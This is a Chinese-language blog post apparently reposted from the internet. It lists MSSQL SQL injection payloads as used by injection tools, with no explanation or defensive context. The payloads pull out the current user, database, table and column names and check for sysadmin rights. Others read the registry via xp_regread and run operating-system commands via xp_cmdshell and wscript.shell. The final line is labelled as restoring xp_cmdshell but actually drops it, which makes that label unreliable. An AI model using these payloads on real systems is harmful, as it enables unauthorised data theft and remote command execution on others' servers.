注入工具中使用的SQL注入语句

来源：互联网发布：乐视刷机软件编辑：程序博客网时间：2024/06/04 08:13

爆user;and char(124)+user+char(124)=0

检查SA权限：And char(124)+Cast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))+char(124)=1

爆当前库： and char(124)+db_name()+char(124)=0 --

检查是否为mssql数据库：and exists (select * from sysobjects)

检查数据库中有多少个库：And (Select char(124)+Cast(Count(1) as varchar(8000))+char(124) From [sysobjects] where xtype=char(85) and status >1)>0

爆第一个库： And (Select Top 1 char(124)+name+char(124) From (Select Top 1 [id],[name] From [sysobjects] where xtype=char(85) and status >1 Order by [id],[name]) T Order by [id] desc,[name] desc)>0 --

爆第N个库：And (Select Top 1 char(124)+name+char(124) From (Select Top |N| [id],[name] From [sysobjects] where xtype=char(85) and status >1 Order by [id],[name]) T Order by [id] desc,[name] desc)>0 --

爆有多少个列名：And (Select char(124)+Cast(Count(*) as varchar(8000))+char(124) From [库名]..[syscolumns] where (id = (SELECT TOP 1 id FROM [sysobjects] WHERE name = char(97)+char(116)+char(116)+char(97)+char(99)+char(104))))>0

爆列名：And (Select Top 1 char(124)+name+char(124) From (Select Top 1 [name] From [syscolumns] where (id = (SELECT TOP 1 id FROM [sysobjects] WHERE name = char(97)+char(116)+char(116)+char(97)+char(99)+char(104))) Order by [name]) T Order by [name] desc)>0 --

读注册表:
DROP TABLE D99_REG;CREATE TABLE D99_REG([ID] int,[Data][varchar](255))--

DECLARE @result varchar(255) EXEC master.dbo.xp_regread'HKEY_LOCAL_MACHINE','SYSTEM/ControlSet001/Services/W3SVC/Parameters/Virtual Roots', '/',@result output insert into D99_REG([ID],[data]) values('9999',@result);--

And (Select char(124)+Cast(Count(1) as varchar(8000))+char(124) From D99_REG)>0 --

执行CMD

DROP TABLE D99_CMD;CREATE TABLE D99_CMD([Data][varchar](1000),ID int NOT NULL IDENTITY (1,1)) insert D99_CMD exec master.dbo.xp_cmdshell 'dir c:/'--

And (Select char(124)+Cast(Data as varchar(4000))+char(124) From D99_CMD)>0--

执行WSCRIPT:

DECLARE @s int EXEC sp_oacreate [wscript.shell], @s out EXEC sp_oamethod @s,[run], NULL, [cmd.exe /c dir c:/] --

恢复XP_CMDSHELL

;exec master..sp_dropextendedproc 'xp_cmdshell'--